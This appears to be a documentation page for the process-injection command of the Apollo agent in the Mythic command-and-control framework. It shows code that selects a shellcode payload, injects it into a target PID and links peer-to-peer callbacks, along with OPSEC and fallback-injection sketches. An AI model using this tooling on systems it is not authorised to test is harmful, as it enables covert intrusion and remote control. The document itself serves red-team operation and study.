Skip to main content
Artifacts Generated: Process Inject

Summary

High-level wrapper for injecting Apollo agent shellcode into remote processes. Automatically handles payload selection, generation, and injection orchestration through the shinject command. Supports both egress and peer-to-peer (P2P) payloads with automatic callback linking for P2P communications.
  • Needs Admin: False (depends on target process and injection technique)
  • Version: 2
  • Author: @djhohnstein

Arguments

  • pid (Number, Required) - Target process ID for injection
  • template (Choice, Required) - Apollo payload template to inject
  • regenerate (Boolean, Optional) - Generate new payload instance (default: false)

Usage

inject
# Opens modal popup for payload selection and PID specification

# Advanced scripted usage
inject {"pid": 1234, "template": "apollo.exe - Default Apollo Agent", "regenerate": true}
args Output:
Injecting payload 'apollo_shellcode.bin' into PID 1234
Process injection artifact generated for PID 1234
New callback established from injected process

Detailed Summary

Agent Execution Flow

1. Payload Discovery and Selection

async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=inputMsg.Callback,
        PayloadTypes=["apollo"],
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))
    
    if payload_search.Success:
        file_names = []
        for f in payload_search.Payloads:
            value = f"{f.Filename} - {f.Description}"
            file_names.append(value)
        return file_names
  • Queries Mythic for available Apollo shellcode payloads
  • Filters payloads to only include shellcode format (“Raw” output type)
  • Excludes auto-generated payloads to show only operator-created templates
  • Presents payloads in format: “filename - description”

2. Parameter Processing and Validation

async def parse_arguments(self):
    if self.command_line[0] != "{":
        raise Exception("Inject requires JSON parameters and not raw command line.")
    
    self.load_args_from_json_string(self.command_line)
    supplied_dict = json.loads(self.command_line)
    
    if "process_id" in supplied_dict:
        self.add_arg("pid", int(supplied_dict["process_id"]))
    
    if self.get_arg("pid") == 0:
        raise Exception("Required non-zero PID")
  • Requires JSON parameter format (no raw command line)
  • Validates PID is provided and non-zero
  • Supports alternative “process_id” parameter name for compatibility
  • Performs early validation before payload processing

3. Payload Resolution and Retrieval

async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
    string_payload = [x.strip() for x in taskData.args.get_arg("template").split(" - ")]
    filename = string_payload[0]
    desc = string_payload[1]
    
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=taskData.Callback.ID,
        PayloadTypes=["apollo"],
        Filename=filename,
        Description=desc,
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))
  • Parses template selection into filename and description components
  • Searches for exact payload match using filename and description
  • Ensures payload is Apollo type with shellcode output format
  • Validates payload exists and is accessible

4. Payload Generation and Build Management

if taskData.args.get_arg("regenerate"):
    newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage(
        TaskID=taskData.Task.ID, 
        PayloadUUID=str_uuid, 
        NewDescription="{}'s injection into PID {}".format(
            taskData.Task.OperatorUsername, 
            str(taskData.args.get_arg("pid"))
        )
    ))
    
    if newPayloadResp.Success:
        str_uuid = newPayloadResp.NewPayloadUUID
        while True:
            resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
                PayloadUUID=newPayloadResp.NewPayloadUUID
            ))
            if resp.Success:
                if resp.Payloads[0].BuildPhase == 'success':
                    payload = resp.Payloads[0]
                    break
                elif resp.Payloads[0].BuildPhase == 'error':
                    raise Exception("Failed to build new payload")
                else:
                    await asyncio.sleep(1)  # Wait for build completion
  • Supports generating new payload instances from templates
  • Creates descriptive payload names including operator and target PID
  • Implements polling mechanism for build completion
  • Handles build failures with appropriate error messages

5. C2 Profile Detection and P2P Handling

c2_info = payload.C2Profiles[0]
is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp"

if not is_p2p:
    # Standard egress payload injection
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))
else:
    # P2P payload requires connection linking
    connection_info = {
        "host": "127.0.0.1",
        "agent_uuid": str_uuid,
        "c2_profile": c2_info.to_json()
    }
    connection_info["c2_profile"]["name"] = connection_info["c2_profile"]["c2_profile"]
    connection_info["c2_profile"]["parameters"] = connection_info["c2_profile"]["c2_profile_parameters"]
    
    temp_inject_link_data[taskData.Task.ID] = connection_info
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        SubtaskCallbackFunction="inject_callback",
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))
  • Detects C2 profile type to determine injection strategy
  • Handles egress payloads (HTTP/HTTPS) with simple injection
  • Manages P2P payloads (SMB/TCP) with connection linking
  • Prepares connection information for automatic callback linking

6. Subtask Orchestration and Delegation

# The inject command creates subtasks rather than executing directly
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
    TaskID=taskData.Task.ID,
    CommandName="shinject",  # Delegates to shinject command
    Params=json.dumps({
        "pid": taskData.args.get_arg("pid"), 
        "shellcode-file-id": payload.AgentFileId
    })
))
  • Creates subtask for actual shellcode injection
  • Delegates to shinject command for low-level injection
  • Passes resolved payload file ID and target PID
  • Maintains parent-child task relationship

7. P2P Callback Completion Handling

async def inject_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, Completed=True)
    
    # Copy responses from subtask to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    # If injection succeeded, create link subtask for P2P
    if "error" not in task.SubtaskData.Task.Status:
        if task.TaskData.Task.ID in temp_inject_link_data:
            response.Completed = False
            subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
                TaskID=task.TaskData.Task.ID,
                CommandName="link",
                SubtaskCallbackFunction="link_callback",
                Params=json.dumps({
                    "connection_info": temp_inject_link_data[task.TaskData.Task.ID]
                })
            ))
            del temp_inject_link_data[task.TaskData.Task.ID]
    
    return response
  • Handles completion of injection subtask
  • Copies all responses from subtask to parent task
  • Automatically creates link subtask for P2P payloads
  • Manages connection information for callback linking
async def link_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus=task.SubtaskData.Task.Status, Completed=True)
    
    # Copy link responses to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    return response
  • Handles completion of link subtask for P2P connections
  • Aggregates all responses from both injection and linking
  • Provides complete operation status to operator

Payload Types and Compatibility

Supported Payload Formats

# Only shellcode format payloads are supported
BUILD_PARAMETERS = {
    "output_type": "Shellcode",  # Must be "Raw" format in Mythic UI
    "architecture": "x64",       # or "x86" 
    "payload_type": "apollo"
}
  • Shellcode Format: Must be position-independent shellcode
  • Architecture: x64 or x86 (must match target process)
  • Payload Type: Apollo agent payloads only
  • Output Type: “Raw” format in Mythic payload builder

C2 Profile Support

# Supported C2 profiles and their handling
C2_PROFILES = {
    "http": {
        "type": "egress",
        "requires_linking": False,
        "connection_method": "outbound_http"
    },
    "https": {
        "type": "egress", 
        "requires_linking": False,
        "connection_method": "outbound_https"
    },
    "smb": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "named_pipes"
    },
    "tcp": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "raw_tcp"
    }
}

Payload Template Management

# Template selection and reuse
class PayloadTemplateManager:
    def __init__(self):
        self.templates = {}
    
    def select_template(self, criteria):
        # Filter templates based on:
        # - C2 profile compatibility
        # - Architecture requirements
        # - Operational security needs
        # - Target environment constraints
        pass
    
    def should_regenerate(self, template, target_info):
        # Consider regeneration for:
        # - Unique payload per target
        # - Burn prevention
        # - Operational security
        # - Payload customization
        return True

Advanced Features and Automation

Process Browser Integration

# UI integration for process selection
SUPPORTED_UI_FEATURES = ["process_browser:inject"]

# Allows operators to:
# - Browse running processes visually
# - Select target process from GUI
# - View process details (PID, name, user, etc.)
# - Filter processes by various criteria

Automated Payload Generation

# Automatic payload generation with descriptive names
def generate_payload_description(operator, pid, timestamp):
    return f"{operator}'s injection into PID {pid} at {timestamp}"

# Benefits:
# - Unique payloads per injection
# - Audit trail of payload usage
# - Reduced payload reuse risks
# - Operational tracking

Callback Linking Automation

# Automatic callback establishment for P2P payloads
class CallbackLinkingManager:
    def __init__(self):
        self.pending_links = {}
    
    def handle_p2p_injection(self, task_id, connection_info):
        # Store connection info for post-injection linking
        self.pending_links[task_id] = connection_info
    
    def create_link_subtask(self, task_id):
        # Automatically link P2P callbacks after successful injection
        connection_info = self.pending_links.get(task_id)
        if connection_info:
            # Create link command with connection details
            return self.create_link_command(connection_info)

Error Handling and Recovery

Payload Build Failure Handling

# Comprehensive error handling for payload operations
class PayloadErrorHandler:
    def handle_build_failure(self, error_details):
        error_scenarios = {
            "compilation_error": "Payload compilation failed - check build parameters",
            "missing_dependencies": "Required build dependencies not available",
            "invalid_configuration": "Payload configuration is invalid",
            "resource_exhaustion": "Insufficient resources for payload build"
        }
        return error_scenarios.get(error_details.type, "Unknown build error")
    
    def handle_injection_failure(self, error_details):
        injection_scenarios = {
            "process_not_found": "Target process no longer exists",
            "access_denied": "Insufficient privileges for injection",
            "architecture_mismatch": "Payload architecture doesn't match target",
            "technique_failed": "Injection technique failed"
        }
        return injection_scenarios.get(error_details.type, "Unknown injection error")

Recovery Strategies

# Automatic retry and fallback mechanisms
class InjectionRecoveryManager:
    def __init__(self):
        self.retry_attempts = 3
        self.fallback_techniques = ["CreateRemoteThreadInjection", "QueueUserAPCInjection"]
    
    async def attempt_injection_with_retry(self, payload, pid):
        for attempt in range(self.retry_attempts):
            try:
                result = await self.perform_injection(payload, pid)
                if result.success:
                    return result
            except Exception as e:
                if attempt == self.retry_attempts - 1:
                    raise e
                await asyncio.sleep(1)  # Brief delay before retry
        
        # Try fallback techniques if primary fails
        for technique in self.fallback_techniques:
            try:
                result = await self.perform_injection_with_technique(payload, pid, technique)
                if result.success:
                    return result
            except Exception:
                continue
        
        raise Exception("All injection attempts failed")

Security Considerations

Payload Tracking and Management

# Payload lifecycle management for security
class PayloadSecurityManager:
    def __init__(self):
        self.payload_usage_log = {}
    
    def track_payload_usage(self, payload_id, target_info):
        # Track payload usage for:
        # - Burn prevention
        # - Operational security
        # - Audit requirements
        # - Attribution management
        self.payload_usage_log[payload_id] = {
            "target": target_info,
            "timestamp": datetime.now(),
            "operator": self.get_current_operator()
        }
    
    def should_regenerate_payload(self, payload_id):
        # Regenerate payloads based on:
        # - Usage count
        # - Time since last use
        # - Security requirements
        # - Operational policies
        usage_count = len(self.payload_usage_log.get(payload_id, []))
        return usage_count > 5  # Example threshold

Operational Security Features

# OPSEC considerations for payload injection
class OPSECManager:
    def evaluate_injection_risk(self, target_pid, payload_info):
        risk_factors = {
            "high_profile_process": self.is_high_profile_process(target_pid),
            "unique_payload": payload_info.is_unique,
            "detection_history": self.get_detection_history(payload_info),
            "environment_sensitivity": self.assess_environment_risk()
        }
        return self.calculate_risk_score(risk_factors)
    
    def recommend_injection_parameters(self, risk_assessment):
        if risk_assessment.score > 0.8:
            return {
                "regenerate_payload": True,
                "use_advanced_technique": True,
                "delay_injection": True
            }
        return {"regenerate_payload": False}

Performance and Resource Management

Payload Caching and Optimization

# Efficient payload management
class PayloadCacheManager:
    def __init__(self):
        self.cache = {}
        self.cache_size_limit = 50  # Maximum cached payloads
    
    def get_cached_payload(self, template_id):
        # Return cached payload if available and valid
        if template_id in self.cache:
            payload = self.cache[template_id]
            if self.is_payload_valid(payload):
                return payload
        return None
    
    def cache_payload(self, template_id, payload):
        # Cache payload for future use
        if len(self.cache) >= self.cache_size_limit:
            self.evict_oldest_payload()
        self.cache[template_id] = payload

Resource Usage Monitoring

# Monitor resource consumption during injection
class ResourceMonitor:
    def monitor_injection_operation(self, task_id):
        metrics = {
            "payload_build_time": self.measure_build_time(task_id),
            "injection_time": self.measure_injection_time(task_id),
            "memory_usage": self.measure_memory_usage(task_id),
            "network_overhead": self.measure_network_overhead(task_id)
        }
        return metrics

APIs Used

APIPurposeIntegration
SendMythicRPCPayloadSearchSearch for available payloadsMythic RPC
SendMythicRPCPayloadCreateFromUUIDGenerate new payload instancesMythic RPC
SendMythicRPCTaskCreateSubtaskCreate injection subtasksMythic RPC
SendMythicRPCResponseSearchRetrieve subtask responsesMythic RPC
SendMythicRPCResponseCreateForward responses to parentMythic RPC
shinject commandPerform actual shellcode injectionApollo Command
link commandEstablish P2P callback linksApollo Command

MITRE ATT&CK Mapping

  • T1055 - Process Injection
  • T1055.001 - Process Injection: Dynamic-link Library Injection
  • T1055.002 - Process Injection: Portable Executable Injection
  • T1129 - Shared Modules
  • T1071 - Application Layer Protocol (for egress payloads)
  • T1090 - Proxy (for P2P payloads)

Security Considerations

  • Payload Management: Centralized payload tracking and generation
  • Operational Security: Automated unique payload generation per injection
  • Callback Linking: Automatic P2P callback establishment
  • Audit Trail: Complete logging of payload usage and injection targets
  • Technique Flexibility: Leverages configurable injection techniques
  • Error Handling: Comprehensive error reporting and recovery
  • Resource Management: Efficient payload caching and resource usage

Limitations

  1. Payload Format: Only supports shellcode format payloads
  2. Apollo Specific: Limited to Apollo agent payloads
  3. Architecture Matching: Payload must match target process architecture
  4. C2 Profile Dependencies: P2P payloads require additional linking steps
  5. Build Dependencies: Requires functioning Mythic payload builder
  6. Network Connectivity: Depends on reliable Mythic communication
  7. Process Permissions: Subject to target process access restrictions

Error Conditions

  • No Payloads Available: No matching Apollo shellcode payloads found
  • Payload Build Failed: Template payload failed to build
  • Build Timeout: Payload build took too long to complete
  • Injection Failed: Underlying shinject command failed
  • Link Failed: P2P callback linking failed (P2P payloads only)
  • Permission Denied: Insufficient access to target process
  • Invalid Template: Selected template is not shellcode format
  • Network Error: Communication with Mythic failed

Best Practices

  1. Template Management: Maintain variety of payload templates for different scenarios
  2. Payload Regeneration: Use regenerate option for unique payloads per target
  3. Process Selection: Choose appropriate target processes for injection
  4. C2 Profile Awareness: Understand egress vs P2P payload differences
  5. Error Monitoring: Monitor subtask completion and handle failures
  6. Resource Management: Be aware of payload build and injection overhead
  7. OPSEC Considerations: Rotate payloads and techniques for stealth
  8. Testing: Validate payload templates in lab environments first